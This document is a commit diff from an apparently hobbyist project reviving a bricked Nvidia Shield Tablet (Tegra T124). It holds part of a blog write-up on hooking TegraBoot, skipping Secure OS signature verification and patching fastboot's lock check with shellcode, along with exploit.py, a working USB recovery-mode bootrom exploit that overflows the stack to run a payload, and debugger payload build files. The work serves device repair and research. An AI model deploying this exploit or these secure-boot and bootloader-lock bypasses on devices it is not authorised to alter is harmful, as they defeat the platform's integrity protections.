|
||||
b'Checking whether Onsemi FG present \n'
|
||||
b'[TegraBoot] (version %s)\n'
|
||||
b'Processing in cold boot mode\n'
|
||||
b'Reset reason: %s\n'
|
||||
b'Battery Present\n'
|
||||
b'Battery Voltage: %d mV\n'
|
||||
b'Battery charge sufficient\n'
|
||||
b'Error getting nvdumper carve out address! Booting normally!\n'
|
||||
b'Sdram initialization is successful \n'
|
||||
b'PMU BoardId: %d\n'
|
||||
b'CPU power rail is up \n'
|
||||
b'Performing RAM repair\n'
|
||||
b'CPU clock init successful \n'
|
||||
b'Bootloader downloaded successfully.\n'
|
||||
b'CPU-bootloader entry address: 0x%x \n'
|
||||
b'BoardId: %d\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'Platform-DebugCarveout: %d\n'
|
||||
b'Using GP1 to query partitions \n'
|
||||
b'WB0 init successful\n'
|
||||
b'Secure Os PKC Verification Success.\n'
|
||||
b'Loading and Validation of Secure OS Successful\n'
|
||||
b'NvTbootPackSdramParams: start. \n'
|
||||
b'NvTbootPackSdramParams: done. \n'
|
||||
b'Starting CPU & Halting co-processor \n\n'
|
||||
```
|
||||
|
||||
And device with corrupted bootloader:
|
||||
```
|
||||
b'Checking whether Onsemi FG present \n'
|
||||
b'[TegraBoot] (version %s)\n'
|
||||
b'Processing in cold boot mode\n'
|
||||
b'Reset reason: %s\n'
|
||||
b'Battery Present\n'
|
||||
b'Battery Voltage: %d mV\n'
|
||||
b'Battery charge sufficient\n'
|
||||
b'Error getting nvdumper carve out address! Booting normally!\n'
|
||||
b'Sdram initialization is successful \n'
|
||||
b'PMU BoardId: %d\n'
|
||||
b'CPU power rail is up \n'
|
||||
b'Performing RAM repair\n'
|
||||
b'CPU clock init successful \n'
|
||||
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
|
||||
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
|
||||
b'No Bootloader is found !\n'
|
||||
b'Error in %s: 0x%x !\n'
|
||||
b'Error is %x \n'
|
||||
```
|
||||
|
||||
So the next stage bootloader is also broken sadly. Maybe we can do the same trick?
|
||||
|
||||
On the good device I placed a hook on the message *Bootloader downloaded successfully*, after dumping the registers it seems that the bootloader is loaded at address ``0x83d88000``(in DRAM). The bootloader is also much bigger thatn the previous bootloaders, which is a good sign(It probably contains fastboot).
|
||||
|
||||
For the bad device I waited for the message *bootloader is corrupted* and continue execution at just after the good log message:
|
||||
|
||||
```python
|
||||
elif b"corrupted" in msg or b"GPT failed" in msg:
|
||||
# Restore bootloader
|
||||
print(msg)
|
||||
dat = open("/tmp/bootloader.bin", 'rb').read()
|
||||
cd.memwrite_region(0x83d88000, dat[:0x90000])
|
||||
# Jump to bootloader loaded
|
||||
cd.arch_dbg.state.R0 = 0 # set bootloader as loaded correctly
|
||||
cd.arch_dbg.state.LR = 0x40018ea0
|
||||
cd.restore_stack_and_jump(cd.arch_dbg.state.LR)
|
||||
continue
|
||||
```
|
||||
|
||||
this resulted in the following output:
|
||||
```text
|
||||
1073803520:b'Checking whether Onsemi FG present \n'
|
||||
1073799404:b'[TegraBoot] (version %s)\n'
|
||||
1073799412:b'Processing in cold boot mode\n'
|
||||
1073799416:b'Reset reason: %s\n'
|
||||
1073847520:b'Battery Present\n'
|
||||
1073847572:b'Battery Voltage: %d mV\n'
|
||||
1073847596:b'Battery charge sufficient\n'
|
||||
1073818392:b'Error getting nvdumper carve out address! Booting normally!\n'
|
||||
1073818500:b'Sdram initialization is successful \n'
|
||||
1073801672:b'PMU BoardId: %d\n'
|
||||
1073843272:b'CPU power rail is up \n'
|
||||
1073813604:b'Performing RAM repair\n'
|
||||
1073843308:b'CPU clock init successful \n'
|
||||
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
|
||||
1073800404:b'CPU-bootloader entry address: 0x%x \n'
|
||||
1073800444:b'BoardId: %d\n'
|
||||
1073844416:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073844524:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073844608:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073844692:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073844788:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073800708:b'Platform-DebugCarveout: %d\n'
|
||||
1073858616:b'Using GP1 to query partitions \n'
|
||||
1073843044:b'WB0 init successful\n'
|
||||
1073848940:b'Secure Os PKC Verification Failed !\n'
|
||||
1073848972:b'Error in %s [%d] \n'
|
||||
1073849136:b'Validation of secure os failed !\n'
|
||||
1073801008:b'Device Shutdown called ...\n'
|
||||
```
|
||||
It seems something like trustzone is used to verify the next boot stage. And since this bootloader is taken from another device(K1 revision) its probably signed with the wrong keys. We can just try to not do the trustzone call and see if it will boot?
|
||||
|
||||
Let's place a hook at the message *WB0 init succesful* and jump to the function after trustzone validation:
|
||||
|
||||
```python
|
||||
elif b"WB0" in msg:
|
||||
cd.arch_dbg.state.print_ctx(print)
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(0x4000e188)
|
||||
continue
|
||||
```
|
||||
|
||||
Profit! The device boots!
|
||||
|
||||
![fastboot loaded](images/fastboot_locked.jpeg)
|
||||
|
||||
Now, let's try to flash a good bootloader. I grabbed the last update from nvidia's website and unpacked it. It contains a *blob* file that needs to be flashed to the staging partition:
|
||||
|
||||
```bash
|
||||
$ fastboot flash staging blob
|
||||
< waiting for any device >
|
||||
Sending 'staging' (17598 KB) FAILED (remote: 'Bootloader is locked.')
|
||||
fastboot: error: Command failed
|
||||
```
|
||||
Ofcourse, the bootloader is locked so we are not allowed to flash or boot anything. Let's patch it out.
|
||||
|
||||
### Fastboot
|
||||
When fastboot loads on this device, it reads a status from somewhere(probably some metadata partition) and that determines it's lock state. Lucky for us there is the string *locked* and *unlocked* that is displayed whether this device is locked or not. After a bit of reversing I found this suspicious function:
|
||||
|
||||
![fastboot locked](images/fastboot_get_locked.png)
|
||||
|
||||
It turns out that it is doing an SMC call to determine it's lock status. We can ofcourse just patch this function to tell fastboot it's always unlocked:
|
||||
|
||||
```python
|
||||
shellcode = f"""
|
||||
mov r0, 0x1
|
||||
bx lr
|
||||
"""
|
||||
cd.memwrite_region(0x83dd0eb0, ks_arm.asm(shellcode, as_bytes=True)[0])
|
||||
```
|
||||
|
||||
We apply this patch while loading the bootloader in memory. Let's reboot:
|
||||
|
||||
![fastboot unlocked](images/fastboot_unlocked.jpeg)
|
||||
|
||||
It works, we can now flash the staging partition. And yes the device fully boots.
|
||||
|
||||
## Debugger
|
||||
The main thing I wanted to show ofcourse is the debugger(Gupje) and the ``Ghidra Assistant``, which work very well in reversing and post exploitation for doing tasks like this. Thanx for reading.
|
||||
|
||||
## Sources
|
||||
https://www.cnet.com/pictures/nvidia-shield-gaming-tablet-2/
|
||||
https://nvidia.custhelp.com/app/answers/detail/a_id/3718/~/voluntary-recall-of-nvidia-shield-tablets
|
||||
https://www.nvidia.com/en-us/shield/support/tabletrecall/
|
||||
https://github.com/LordRafa/ShofEL2-for-T124
|
37
blog/part2.md
Normal file
@ -0,0 +1,37 @@
|
||||
```
|
||||
1073803520:b'Checking whether Onsemi FG present \n'
|
||||
1073813020:b'%s(): error code 0x%08x %s\n'
|
||||
1073811068:b'%s(): error code 0x%08x %s\n'
|
||||
1073811120:b'NvTbootI2c: Read failed for slave 0x%02x, offset 0x%02x with error code 0x%08x\n'
|
||||
1073799404:b'[TegraBoot] (version %s)\n'
|
||||
1073799412:b'Processing in cold boot mode\n'
|
||||
1073799416:b'Reset reason: %s\n'
|
||||
1073847520:b'Battery Present\n'
|
||||
1073813020:b'%s(): error code 0x%08x %s\n'
|
||||
1073811068:b'%s(): error code 0x%08x %s\n'
|
||||
1073811120:b'NvTbootI2c: Read failed for slave 0x%02x, offset 0x%02x with error code 0x%08x\n'
|
||||
1073806920:b'Error MAX17048 vcell read failed.\n'
|
||||
1073801444:b'Failed to determine battery voltage\n'
|
||||
1073818392:b'Error getting nvdumper carve out address! Booting normally!\n'
|
||||
1073818500:b'Sdram initialization is successful \n'
|
||||
1073801672:b'PMU BoardId: %d\n'
|
||||
1073843272:b'CPU power rail is up \n'
|
||||
1073813604:b'Performing RAM repair\n'
|
||||
1073843308:b'CPU clock init successful \n'
|
||||
1073863832:b'%s with error 0x%x in %s func at %d line \n'
|
||||
1073863916:b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
|
||||
1073866976:b'Number of retries left %d\n'
|
||||
1073863832:b'%s with error 0x%x in %s func at %d line \n'
|
||||
1073863916:b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
|
||||
1073866976:b'Number of retries left %d\n'
|
||||
1073863832:b'%s with error 0x%x in %s func at %d line \n'
|
||||
1073863916:b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
|
||||
1073866976:b'Number of retries left %d\n'
|
||||
1073867180:b'Send command failed with 0x%x\n'
|
||||
1073870972:b'%s with error 0x%x in %s func at %d line \n'
|
||||
1073870844:b'Identify card failed with 0x%x\n'
|
||||
1073862468:b'%s with error 0x%x in %s func at %d line \n'
|
||||
1073862636:b'Sdmmc Init failed with 0x%x error\n'
|
||||
1073844216:b'Error in %s: 0x%x !\n'
|
||||
1073799640:b'Error is %x \n'
|
||||
```
|
322
exploit.py
Normal file
@ -0,0 +1,322 @@
|
||||
from io import BytesIO
|
||||
import usb.core
|
||||
import usb.util
|
||||
import sys
|
||||
import struct
|
||||
from tools import *
|
||||
import argparse
|
||||
import ctypes
|
||||
import time
|
||||
import fcntl
|
||||
import platform
|
||||
import os
|
||||
from patches import *
|
||||
|
||||
IS_OSX = platform.system() == "Darwin"
|
||||
USBDEVFS_URB_TYPE_CONTROL = 2
|
||||
USBDEVFS_SUBMITURB = 0x8038550a
|
||||
USBDEVFS_REAPURB = 0x4008550c
|
||||
USBDEVFS_DISCARDURB = 0x0000550b
|
||||
|
||||
debug_exchanges = 0
|
||||
class DEVICE():
|
||||
def usb_connect(self):
|
||||
self.dev = None
|
||||
while self.dev is None:
|
||||
if self.dev is None:
|
||||
self.dev = usb.core.find(idVendor=SHIELD_TK1_VID, idProduct=SHIELD_TK1_PID)
|
||||
if self.dev is None:
|
||||
self.dev = usb.core.find(idVendor=JETSON_TK1_VID, idProduct=JETSON_TK1_PID)
|
||||
|
||||
if self.dev is None:
|
||||
error("Could not find APX device!")
|
||||
sys.exit(ERROR_STATUS)
|
||||
|
||||
while(True):
|
||||
try:
|
||||
self.dev.detach_kernel_driver(interface=0)
|
||||
except Exception as e:
|
||||
if(e.errno == 2):
|
||||
break
|
||||
pass
|
||||
|
||||
def usb_read(self, size, title="recv data"):
|
||||
IN = 0x81
|
||||
data = self.dev.read(IN, size)
|
||||
data = bytes([char for char in data])
|
||||
if debug_exchanges == 1:
|
||||
hexdump(data, title=title)
|
||||
return data
|
||||
|
||||
def usb_write(self, data):
|
||||
OUT = 0x1
|
||||
self.dev.write(OUT, data) # Some timeout
|
||||
if debug_exchanges == 1:
|
||||
hexdump(data, color=5, title="out")
|
||||
|
||||
def usb_reset(self):
|
||||
self.dev.reset()
|
||||
|
||||
def __init__(self):
|
||||
self.usb_connect()
|
||||
self.write = self.usb_write
|
||||
self.read = self.usb_read
|
||||
|
||||
def read_chip_id(self):
|
||||
r = self.usb_read(0x10)
|
||||
info(f"Chip id: {r.hex()}")
|
||||
|
||||
# lol
|
||||
def get_fds():
|
||||
return set(int(i) for i in os.listdir("/proc/self/fd"))
|
||||
|
||||
class TegraRCM():
|
||||
def ep0_read_unbounded(self, size):
|
||||
print("Size: 0x%x\n" % size)
|
||||
if IS_OSX:
|
||||
try:
|
||||
s.dev.ctrl_transfer(0x82, 0, 0, 0, size)
|
||||
except usb.core.USBError:
|
||||
print("timeout.. good!")
|
||||
return
|
||||
buf = ctypes.create_string_buffer(struct.pack("@BBHHH%dx" % size, 0x82, 0, 0, 0, size))
|
||||
print(bytes(buf[:8]).hex())
|
||||
urb = ctypes.create_string_buffer(struct.pack("@BBiIPiiiiiIP1024x",
|
||||
USBDEVFS_URB_TYPE_CONTROL, 0, # type, ep
|
||||
0, 0, # status, flags
|
||||
ctypes.addressof(buf), len(buf), 0, # buf, len, actual
|
||||
0, 0, 0, 0, 0xf0f))
|
||||
print(bytes(urb[:-1024]).hex())
|
||||
print("URB address: 0x%x" % ctypes.addressof(urb))
|
||||
|
||||
for fd in self.fds:
|
||||
try:
|
||||
fcntl.ioctl(fd, USBDEVFS_SUBMITURB, urb)
|
||||
# time.sleep(0.1)
|
||||
fcntl.ioctl(fd, USBDEVFS_DISCARDURB, urb)
|
||||
purb = ctypes.c_void_p()
|
||||
fcntl.ioctl(fd, USBDEVFS_REAPURB, purb)
|
||||
if purb.value != ctypes.addressof(urb):
|
||||
print("Reaped the wrong URB! addr 0x%x != 0x%x" % (
|
||||
purb.value, ctypes.addressof(urb)))
|
||||
_, _, status, _, _, _, _, _, _, _, _, ctx = struct.unpack("@BBiIPiiiiiIP", urb[:56])
|
||||
print("URB status: %d" % status)
|
||||
if ctx != 0xf0f:
|
||||
print("Reaped the wrong URB! ctx=0x%x" % ctx)
|
||||
# break
|
||||
info(f"Done on {fd}")
|
||||
return status
|
||||
except Exception as e:
|
||||
pass
|
||||
# print(str(e))
|
||||
return None
|
||||
|
||||
def __init__(self):
|
||||
if not IS_OSX:
|
||||
fds_before = get_fds()
|
||||
self.dev = DEVICE()
|
||||
if not IS_OSX:
|
||||
self.fds = get_fds() - fds_before
|
||||
self.fd = sorted(list(self.fds))[-1]
|
||||
info("File descriptor: %d" % self.fd)
|
||||
|
||||
|
||||
def get_payload_aft_len(self, payload):
|
||||
payload.seek(0)
|
||||
sz = len(payload.read())
|
||||
payload.seek(0)
|
||||
if(sz > MAX_PAYLOAD_FILE_SIZE ):
|
||||
print(f"Payload to big!")
|
||||
sys.exit(ERROR_STATUS)
|
||||
payload_aft_len = 0
|
||||
if sz > MAX_PAYLOAD_BEF_SIZE:
|
||||
payload_aft_len = sz - MAX_PAYLOAD_BEF_SIZE
|
||||
return payload_aft_len
|
||||
|
||||
def read_intermezzo(self, rcm_cmd_buf : BytesIO):
|
||||
intermezzo = open("ShofEL2-for-T124/intermezzo.bin", "rb").read(INTERMEZZO_LEN)
|
||||
intermezzo_size = len(intermezzo)
|
||||
rcm_cmd_buf.seek(RCM_CMD_BUF_INTERMEZZO_START)
|
||||
rcm_cmd_buf.write(intermezzo)
|
||||
|
||||
def read_payload_file(self, payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len):
|
||||
payload_bef = payload_file_fd.read(MAX_PAYLOAD_BEF_SIZE)
|
||||
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_START)
|
||||
rcm_cmd_buf.write(payload_bef)
|
||||
payload_bef_len = len(payload_bef)
|
||||
payload_aft_len = 0
|
||||
if(rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT):
|
||||
payload_aft = payload_file_fd.read(rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT)
|
||||
payload_aft_len = len(payload_aft)
|
||||
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_CONT)
|
||||
rcm_cmd_buf.write(payload_aft)
|
||||
|
||||
payload_bef_len = struct.pack("<L", payload_bef_len)
|
||||
payload_aft_len = struct.pack("<L", payload_aft_len )
|
||||
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_BEF_LENVAR)
|
||||
rcm_cmd_buf.write(payload_bef_len)
|
||||
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_AFT_LENVAR)
|
||||
rcm_cmd_buf.write(payload_aft_len)
|
||||
|
||||
def build_rcm_cmd(self, payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode ):
|
||||
ret = -1
|
||||
rcm_cmd_len = struct.pack("<L", RCM_CMD_LEN)
|
||||
payload_entry = struct.pack("<L", (BOOTROM_PAYLOAD_ENTRY | 0x1))
|
||||
payload_thumb_mode = struct.pack("<L", payload_thumb_mode)
|
||||
self.read_intermezzo(rcm_cmd_buf)
|
||||
self.read_payload_file(payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len)
|
||||
|
||||
rcm_cmd_buf.seek(0)
|
||||
rcm_cmd_buf.write(rcm_cmd_len)
|
||||
rcm_cmd_buf.seek(RCM_CMD_BUF_MEMCPY_RET_ADD)
|
||||
rcm_cmd_buf.write(payload_entry)
|
||||
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_THUMB_MODE)
|
||||
rcm_cmd_buf.write(payload_thumb_mode)
|
||||
|
||||
def send_rcm_cmd(self, payload_filename, payload_thumb_mode=1):
|
||||
status = -1
|
||||
payload_file_fd = open(payload_filename, "rb")
|
||||
|
||||
payload_aft_len = self.get_payload_aft_len(payload_file_fd)
|
||||
if(payload_aft_len < 0):
|
||||
sys.exit(ERROR_STATUS)
|
||||
|
||||
rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len
|
||||
padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 )
|
||||
n_writes = ( rcm_cmd_buf_len + padding) / 0x1000
|
||||
if not (n_writes % 2):
|
||||
padding += 0x1000
|
||||
|
||||
rcm_cmd_buf = BytesIO()
|
||||
rcm_cmd_buf.write(b'\x00' * (rcm_cmd_buf_len + padding))
|
||||
|
||||
self.build_rcm_cmd(payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode)
|
||||
rcm_cmd_buf.seek(0)
|
||||
self.dev.write(rcm_cmd_buf.read())
|
||||
payload_file_fd.close()
|
||||
|
||||
def send_payload(self, payload, thumb=1):
|
||||
'''
|
||||
Sends user specified payload to device
|
||||
'''
|
||||
self.send_rcm_cmd(payload, thumb)
|
||||
|
||||
#Smash the stack
|
||||
status = self.ep0_read_unbounded(BOOTROM_SMASH_LEN)
|
||||
if(status == 0):
|
||||
error("wrong status returned!")
|
||||
|
||||
def send_verify_cmd(self, cmd):
|
||||
self.dev.write(cmd)
|
||||
r = self.dev.read(0x200)
|
||||
if(r != cmd):
|
||||
error(f"Error on sending command! {r}")
|
||||
return False
|
||||
return True
|
||||
|
||||
def handle_done(self):
|
||||
r = self.dev.read(0x200)
|
||||
if(r != b"done"):
|
||||
error("Error on writing vbar!")
|
||||
|
||||
def memdump_region(self, offset, size):
|
||||
if(not self.send_verify_cmd(b"PEEK")):
|
||||
return
|
||||
mem_param = struct.pack('<LL', offset, size)
|
||||
self.dev.write(mem_param)
|
||||
received = b''
|
||||
blk_sz = 0x200
|
||||
while len(received) < size:
|
||||
if (remaining := size - len(received)) < 0x200:
|
||||
blk_sz = remaining
|
||||
d = self.dev.read(blk_sz)
|
||||
if len(d) == blk_sz:
|
||||
self.dev.write(b"ACK\x00")
|
||||
received += d
|
||||
self.handle_done()
|
||||
return received
|
||||
|
||||
def memwrite_region(self, address, data, check=True):
|
||||
'''
|
||||
Write a blob of data to an address on the device. Sometimes this function has issues when writing more than 0x20 bytes of data
|
||||
|
||||
Args:
|
||||
|
||||
:param (int): address: Address to write to
|
||||
:param (bytes): data: Binary data to write to the device
|
||||
:param (Bool): check if data is really written by dumping the region and checking if it has changed
|
||||
'''
|
||||
size = len(data)
|
||||
if(check):
|
||||
before = self.memdump_region(address, size)
|
||||
|
||||
if(not self.send_verify_cmd(b"POKE")):
|
||||
return
|
||||
mem_param = struct.pack('<II', address, size)
|
||||
self.dev.write(mem_param)
|
||||
|
||||
while len(data) > 0:
|
||||
remaining = 0x200
|
||||
if(len(data) < 0x200):
|
||||
remaining = len(data)
|
||||
send = data[:remaining]
|
||||
data = data[remaining:]
|
||||
self.dev.write(send)
|
||||
message = self.dev.read(0x200)
|
||||
if(message != b"OK"):
|
||||
error("Error on writing data to device!")
|
||||
return
|
||||
self.dev.write(b"ACK\x00")
|
||||
self.handle_done()
|
||||
#Read back data
|
||||
if(check):
|
||||
after = self.memdump_region(address, size)
|
||||
if(after == before and send != before):
|
||||
error(f"Memory written succesfully, but no changes detected! | {hex(address)}")
|
||||
|
||||
def search_bootrom(self):
|
||||
dumped = BytesIO()
|
||||
for i in range(0, 0x1000000, 0x10000):
|
||||
d = self.memdump_region(i, 0x10000)
|
||||
dumped.write(d)
|
||||
if(cpsr_to_r0_ins in d or r1_to_cpsr in d):
|
||||
info(f"Found cpsr instruction at {hex(i)}")
|
||||
print(".", end="")
|
||||
# info(f"dumped {hex(len(dumped))} data")
|
||||
|
||||
def dump_bootrom(self):
|
||||
d = self.memdump_region(0x100000, 0x1000)
|
||||
if(True):
|
||||
pass
|
||||
|
||||
def cmd_handler(self):
|
||||
while True:
|
||||
cmd = self.dev.read(0x200)
|
||||
if(cmd == b"cmd_handler"):
|
||||
self.memwrite_region(0x40000000, 0x100 * b"\xaa")
|
||||
self.search_bootrom()
|
||||
#dump memory
|
||||
self.dump_bootrom()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("payload", help="Payload to send to the tablet")
|
||||
parser.add_argument("--ga", help="Prepare for GA", action="store_true")
|
||||
parser.add_argument("--ga_arm", help="Prepare for GA", action="store_true")
|
||||
|
||||
args = parser.parse_args()
|
||||
rcm = TegraRCM()
|
||||
rcm.dev.read_chip_id()
|
||||
if args.ga_arm:
|
||||
args.ga = True
|
||||
rcm.send_payload(args.payload, thumb=0)
|
||||
else:
|
||||
rcm.send_payload(args.payload)
|
||||
if args.ga:
|
||||
d = rcm.dev.read(4)
|
||||
# d2 = rcm.dev.read(0x200)
|
||||
if d == b"GiAs":
|
||||
ok("Device in GA debugger")
|
||||
else:
|
||||
rcm.cmd_handler()
|
30
gupje_t/Makefile
Normal file
@ -0,0 +1,30 @@
|
||||
#ARM thumb mode
|
||||
TOOLCHAIN_ARM_T := $(TOOLCHAINENV)/gcc-arm-none-eabi-10-2020-q4-major/bin/arm-none-eabi-
|
||||
CC_T = $(TOOLCHAIN_ARM_T)gcc
|
||||
AS_T = $(TOOLCHAIN_ARM_T)as
|
||||
OBJCOPY_T = $(TOOLCHAIN_ARM_T)objcopy
|
||||
LD_T = $(TOOLCHAIN_ARM_T)ld.bfd
|
||||
|
||||
#For building in thumb mode
|
||||
CFLAGS_THUMB := -Wall -Werror -MMD -Wno-unused-variable \
|
||||
-march=armv4t -mthumb -Os -ffreestanding -fno-common \
|
||||
-fomit-frame-pointer -nostdlib -fno-builtin-printf \
|
||||
-fno-asynchronous-unwind-tables -fPIE -fno-builtin \
|
||||
-Idevices/nvidia_shield_t/ \
|
||||
-fno-exceptions -Wl,--no-dynamic-linker,--build-id=none
|
||||
|
||||
all: nvidia_shield_t nvidia_shield_t_reloc
|
||||
|
||||
nvidia_shield_t:
|
||||
[ -d bin/nvidia_shield_t ] || mkdir -p bin/nvidia_shield_t/
|
||||
$(CC_T) armT_stub.S -c -o bin/nvidia_shield_t/entry.o
|
||||
$(CC_T) debugger.c -c -o bin/nvidia_shield_t/debugger.o $(CFLAGS_THUMB)
|
||||
$(LD_T) -T devices/nvidia_shield_t/linkscript.ld bin/nvidia_shield_t/entry.o bin/nvidia_shield_t/debugger.o -o bin/nvidia_shield_t/debugger.elf --just-symbols=devices/nvidia_shield_t/symbols.txt
|
||||
$(OBJCOPY_T) -O binary bin/nvidia_shield_t/debugger.elf bin/nvidia_shield_t/debugger.bin
|
||||
|
||||
nvidia_shield_t_reloc:
|
||||
[ -d bin/nvidia_shield_t ] || mkdir -p bin/nvidia_shield_t/
|
||||
$(CC_T) armT_stub.S -c -o bin/nvidia_shield_t/entry.o
|
||||
$(CC_T) debugger.c -c -o bin/nvidia_shield_t/debugger_reloc.o $(CFLAGS_THUMB)
|
||||
$(LD_T) -T devices/nvidia_shield_t/linkscript_reloc.ld bin/nvidia_shield_t/entry.o bin/nvidia_shield_t/debugger.o -o bin/nvidia_shield_t/debugger_reloc.elf --just-symbols=devices/nvidia_shield_t/symbols_reloc.txt
|
||||
$(OBJCOPY_T) -O binary bin/nvidia_shield_t/debugger_reloc.elf bin/nvidia_shield_t/debugger_reloc.bin
|
9
gupje_t/Readme.md
Normal file
@ -0,0 +1,9 @@
|
||||
# Gupje for Nvidia shield
|
||||
|
||||
Download ``gcc-arm-none-eabi-10-2020-q4-major`` and configure its path in the Makefile.
|
||||
|
||||
Build with:
|
||||
|
||||
```bash
|
||||
make -f devices/nvidia_shield/gupje_t/Makefile
|
||||
```
|
125
gupje_t/device.h
Normal file
@ -0,0 +1,125 @@
|
||||
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
|
||||
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
|
||||
|
||||
#include "t124.h"
|
||||
|
||||
#ifndef _TYPES_H_
|
||||
#define _TYPES_H_
|
||||
|
||||
typedef signed char s8;
|
||||
typedef signed short s16;
|
||||
typedef signed int s32;
|
||||
typedef signed long long s64;
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
typedef unsigned long long u64;
|
||||
typedef volatile u8 vu8;
|
||||
typedef volatile u16 vu16;
|
||||
typedef volatile u32 vu32;
|
||||
typedef volatile u64 vu64;
|
||||
typedef u32 size_t;
|
||||
typedef u32 uintptr_t;
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
typedef void (*ep1_x_imm_t)(void *buffer, uint32_t size, uint32_t *num_xfer);
|
||||
ep1_x_imm_t usb_recv = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
|
||||
ep1_x_imm_t usb_send = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
|
||||
|
||||
|
||||
void send(void *buffer, uint32_t size, uint32_t *num_xfer){
|
||||
usb_send(buffer, size, num_xfer);
|
||||
}
|
||||
|
||||
int recv(void *buffer, uint32_t size, uint32_t *num_xfer){
|
||||
usb_recv(buffer, size, num_xfer);
|
||||
return (int)&num_xfer;
|
||||
}
|
||||
|
||||
int mystrlen(char *data) {
|
||||
int i=0;
|
||||
while(1) {
|
||||
if(data[i++] == '\0'){
|
||||
break;
|
||||
}
|
||||
}
|
||||
return i-1;
|
||||
}
|
||||
|
||||
void usb_log(char * msg, uint32_t * error){
|
||||
send(msg, mystrlen(msg), error);
|
||||
}
|
||||
|
||||
void recv_data(void *data, uint32_t len) {
|
||||
uint32_t rx_err_code;
|
||||
uint32_t xfer = 0;
|
||||
while(1) {
|
||||
recv(data, len, &xfer);
|
||||
if(xfer >= len) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
void enter_rcm() {
|
||||
// Sets RCM strap and reboots into RCM
|
||||
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
|
||||
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
|
||||
}
|
||||
|
||||
void concrete_main(uint32_t debugger){
|
||||
enter_rcm();
|
||||
// log register r0
|
||||
// uint32_t reg_val;
|
||||
// uint32_t tx_err_code;
|
||||
// uint32_t *tbuf = (uint32_t*)0x40013000;
|
||||
|
||||
// asm volatile("mov %0, r0" : "=r" (reg_val));
|
||||
// send(®_val, sizeof(reg_val), &tx_err_code);
|
||||
// tbuf[0] = reg_val;
|
||||
|
||||
// asm volatile("mov %0, r1" : "=r" (reg_val));
|
||||
// send(®_val, sizeof(reg_val), &tx_err_code);
|
||||
// tbuf[1] = reg_val;
|
||||
|
||||
// asm volatile("mov %0, r2" : "=r" (reg_val));
|
||||
// send(®_val, sizeof(reg_val), &tx_err_code);
|
||||
// tbuf[2] = reg_val;
|
||||
|
||||
// asm volatile("mov %0, r3" : "=r" (reg_val));
|
||||
// send(®_val, sizeof(reg_val), &tx_err_code);
|
||||
// tbuf[3] = reg_val;
|
||||
|
||||
// asm volatile("mov %0, r4" : "=r" (reg_val));
|
||||
// send(®_val, sizeof(reg_val), &tx_err_code);
|
||||
// tbuf[4] = reg_val;
|
||||
|
||||
// asm volatile("mov %0, r5" : "=r" (reg_val));
|
||||
// send(®_val, sizeof(reg_val), &tx_err_code);
|
||||
// tbuf[5] = reg_val;
|
||||
|
||||
// asm volatile("mov %0, r6" : "=r" (reg_val));
|
||||
// send(®_val, sizeof(reg_val), &tx_err_code);
|
||||
// tbuf[6] = reg_val;
|
||||
|
||||
// asm volatile("mov %0, r7" : "=r" (reg_val));
|
||||
// send(®_val, sizeof(reg_val), &tx_err_code);
|
||||
// tbuf[7] = reg_val;
|
||||
// usb_log("END", &debugger);
|
||||
|
||||
|
||||
}
|
15
gupje_t/linkscript.ld
Normal file
@ -0,0 +1,15 @@
|
||||
MEMORY {
|
||||
ROM (rwx): ORIGIN = 0x4000E000, LENGTH = 0x1000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x4000E000;
|
||||
.text . : {
|
||||
*(.text*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
} >ROM
|
||||
|
||||
}
